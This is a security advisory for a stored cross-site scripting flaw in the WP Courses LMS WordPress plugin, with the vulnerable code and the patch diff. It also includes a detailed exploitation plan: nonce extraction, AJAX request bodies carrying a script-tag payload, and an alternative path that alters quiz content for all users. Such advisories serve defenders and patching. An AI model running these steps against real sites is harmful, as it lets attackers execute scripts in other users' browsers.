WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses <= 3.2.26 - Authenticated (Subscriber+) Stored Cross-Site Scripting
Description
The WP Courses LMS – Online Courses Builder, eLearning Courses, Courses Solution, Education Courses plugin for WordPress is vulnerable to Stored Cross-Site Scripting in versions up to, and including, 3.2.26 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with subscriber-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
What Changed in the Fix
Changes introduced in v3.2.27
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-31914 - WP Courses LMS Stored XSS ## 1. Vulnerability Summary The **WP Courses LMS** plugin (<= 3.2.26) is vulnerable to **Stored Cross-Site Scripting (XSS)** via the AJAX handler responsible for saving quiz results. The vulnerability exists because the plugin…
Show full research plan
Exploitation Research Plan: CVE-2026-31914 - WP Courses LMS Stored XSS
1. Vulnerability Summary
The WP Courses LMS plugin (<= 3.2.26) is vulnerable to Stored Cross-Site Scripting (XSS) via the AJAX handler responsible for saving quiz results. The vulnerability exists because the plugin accepts arbitrary quiz data from the user, stores it in the database using json_encode, and later retrieves and echoes it back without any sanitization or output escaping in the getResult method. An authenticated attacker (subscriber or higher) can inject malicious JavaScript into the quiz results, which will execute when they or an administrator view the result.
2. Attack Vector Analysis
- Vulnerable AJAX Actions:
wpcq_save_quiz_results_action(Storage)wpcq_get_quiz_result(Sink/Execution)
- Vulnerable Parameters:
quiz(insaveResult),resultID(to trigger execution ingetResult). - Authentication Level: Subscriber or higher.
- Preconditions: The plugin must be active, and a Course and Quiz/Lesson must exist to facilitate legitimate-looking requests and ensure scripts (and nonces) are enqueued.
3. Code Flow
- Entry Point (Storage):
WPCQ_Ajax::saveResult()(attached towp_ajax_wpcq_save_quiz_results_action). - Data Handling:
- It retrieves
$_POST['quiz'](expected to be an array or object). - It calls
$this->quiz = json_encode($_POST['quiz']);. - Sink: It performs an insert:
$wpdb->insert($table_name, array(..., 'quiz_result' => $this->quiz, ...)).
- It retrieves
- Entry Point (Execution):
WPCQ_Ajax::getResult()(attached towp_ajax_wpcq_get_quiz_result). - Data Retrieval: It retrieves the record by
resultID. - Vulnerable Sink:
The JSON string is echoed directly to the response. Sinceif(!empty($results)) { echo str_replace('\\\\', '', $results[0]->quiz_result); }json_encodedoes not escape HTML tags by default, any<script>tags provided in thequizarray remain intact.
4. Nonce Acquisition Strategy
The wpc_nonce is required for both AJAX actions. It is localized for the frontend in pages where the plugin's lesson or quiz functionality is active.
- Identify Script Loading: The plugin enqueues its primary scripts on the Course archive or individual Lesson/Quiz pages.
- Creation: Create a Course and a Lesson to ensure the environment is ready.
- Navigation: Navigate to a Course page as a Subscriber.
- Extraction: Use
browser_evalto extract the nonce from the localized JavaScript object. Based on common plugin patterns, the variable is likelywpc_varsorwpc_ajax_data.- JS Command:
window.wpc_vars?.nonceorwindow.wpc_ajax_data?.nonce. - Note: The
securityparameter in the POST request must contain this nonce.
- JS Command:
5. Exploitation Strategy
Step 1: Storage (Injecting the Payload)
Perform an AJAX POST to save a "quiz result" containing the XSS payload.
- Action:
wpcq_save_quiz_results_action - Method: POST
- URL:
/wp-admin/admin-ajax.php - Body (URL-encoded):
action=wpcq_save_quiz_results_actionsecurity=[NONCE]userID=[SUBSCRIBER_ID]quizID=1(Can be any integer)courseID=1(Can be any integer)scorePercent=100quiz[question]=<script>alert(document.domain)</script>
- Expected Response: Empty response (200 OK) as the function ends with
wp_die().
Step 2: Identification (Find the Result ID)
Since the AJAX response doesn't return the ID, query the database for the most recent entry in the results table.
- SQL:
SELECT MAX(id) FROM wp_wpc_quiz_results;
Step 3: Execution (Triggering the XSS)
Perform an AJAX POST to retrieve the malicious result.
- Action:
wpcq_get_quiz_result - Method: POST
- URL:
/wp-admin/admin-ajax.php - Body (URL-encoded):
action=wpcq_get_quiz_resultsecurity=[NONCE]resultID=[ID_FROM_STEP_2]
- Expected Response: The raw JSON string containing the payload:
{"question":"<script>alert(document.domain)<\/script>"}.
6. Test Data Setup
- User: Create a subscriber user (e.g.,
subscriber_user/password). - Content:
- Create a Course:
wp post create --post_type=course --post_title="Test Course" --post_status=publish - Create a Lesson:
wp post create --post_type=lesson --post_title="Test Lesson" --post_status=publish - (Optional) Use
wp post metato link them if needed, though the AJAX handlers don't strictly enforce relational integrity for thesaveResultaction.
- Create a Course:
7. Expected Results
- The
saveResultcall should successfully insert a JSON string into thewp_wpc_quiz_resultstable. - The
getResultcall should return the stored JSON string. - Because the response content type of
admin-ajax.phpis oftentext/htmlby default (unless specifically set otherwise by the plugin, which it isn't here), the browser will execute the script if this response is rendered in a DOM element or viewed directly.
8. Verification Steps
- Database Check:
wp db query "SELECT quiz_result FROM wp_wpc_quiz_results ORDER BY id DESC LIMIT 1;"
Confirm the output contains the raw script tag. - HTTP Response Check: Verify the
http_requestresponse forwpcq_get_quiz_resultcontains<script>alert(document.domain)</script>.
9. Alternative Approaches
If wpcq_save_quiz_results_action is restrictive, target wpcq_save_quiz_action:
- Action:
wpcq_save_quiz_action - Parameters:
quizID,quiz(The payload). - Code Path:
update_post_meta((int)$this->quiz_id, 'wpc-quiz-data', $this->quiz); - Sink:
getQuiz()retrieves this meta and echoes it viajson_encode. This is a higher-impact attack as it modifies the quiz content for all users. - Nonce: Also uses
wpc_nonce.
Summary
The WP Courses LMS plugin for WordPress is vulnerable to Stored Cross-Site Scripting via its AJAX handlers for saving quiz results and quiz data. Authenticated attackers with subscriber-level access can inject malicious JavaScript into quiz fields, which is then stored unsanitized and executed when the quiz result is retrieved or the quiz is viewed by other users.
Vulnerable Code
// classes/WPCQ_Ajax.php line 41 function saveResult() { check_ajax_referer( 'wpc_nonce', 'security' ); global $wpdb; $this->user_id = (int) $_POST['userID']; $this->quiz_id = (int) $_POST['quizID']; $this->score = (int) $_POST['scorePercent']; $this->quiz = json_encode($_POST['quiz']); $this->course_id = (int) $_POST['courseID']; wpc_push_completed($this->user_id, $this->quiz_id, 1); $table_name = $wpdb->prefix . 'wpc_quiz_results'; $wpdb->insert( $table_name, array( 'time' => current_time( 'mysql' ), 'user_ID' => $this->user_id, 'quiz_ID' => $this->quiz_id, 'quiz_result' => $this->quiz, 'score_percent' => $this->score, 'course_id' => $this->course_id ), array('%s', '%d', '%d', '%s', '%d', '%d') ); wp_die(); } --- // classes/WPCQ_Ajax.php line 66 function saveQuiz() { check_ajax_referer( 'wpc_nonce', 'security' ); $this->quiz_id = (int) $_POST['quizID']; $this->quiz = $_POST['quiz']; update_post_meta( (int) $this->quiz_id, 'wpc-quiz-data', $this->quiz); wp_die(); } --- // classes/WPCQ_Ajax.php line 84 if(!empty($results)) { echo str_replace('\\\\', '', $results[0]->quiz_result); } else { echo false; }
Security Fix
@@ -65,12 +65,23 @@ function saveQuiz() { check_ajax_referer( 'wpc_nonce', 'security' ); + if ( ! current_user_can( 'edit_posts' ) ) { + wp_send_json_error( 'Not authorized', 403 ); + } $this->quiz_id = (int) $_POST['quizID']; - $this->quiz = $_POST['quiz']; + $this->quiz = $this->sanitize_recursive( $_POST['quiz'] ); update_post_meta( (int) $this->quiz_id, 'wpc-quiz-data', $this->quiz); wp_die(); } + private function sanitize_recursive( $data ) { + if ( is_array( $data ) ) { + return array_map( array( $this, 'sanitize_recursive' ), $data ); + } + + return sanitize_text_field( $data ); + } + function getResult() { check_ajax_referer( 'wpc_nonce', 'security' ); $this->result_id = (int) $_POST['resultID'];
Exploit Outline
1. Authenticate to the WordPress site as a Subscriber-level user. 2. Visit a course or lesson page to obtain a valid `wpc_nonce` from the localized JavaScript (usually stored in `wpc_vars` or similar objects). 3. Send an AJAX POST request to `/wp-admin/admin-ajax.php` with the action `wpcq_save_quiz_results_action`. In the `quiz` parameter, provide a payload containing malicious JavaScript, such as `quiz[question]=<script>alert(document.domain)</script>`. 4. To trigger the execution, identify the result ID (e.g., via database query or incrementing IDs) and send a second AJAX POST request to `wpcq_get_quiz_result` with that `resultID`. 5. The server will return the raw JSON containing the script. When this response is handled by the browser (if the content type is not strictly JSON or if the response is rendered into the DOM), the injected script will execute. 6. Alternatively, use the `wpcq_save_quiz_action` with the same nonce and a malicious `quiz` payload to permanently modify a quiz, which will then execute scripts for any user attempting that quiz.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.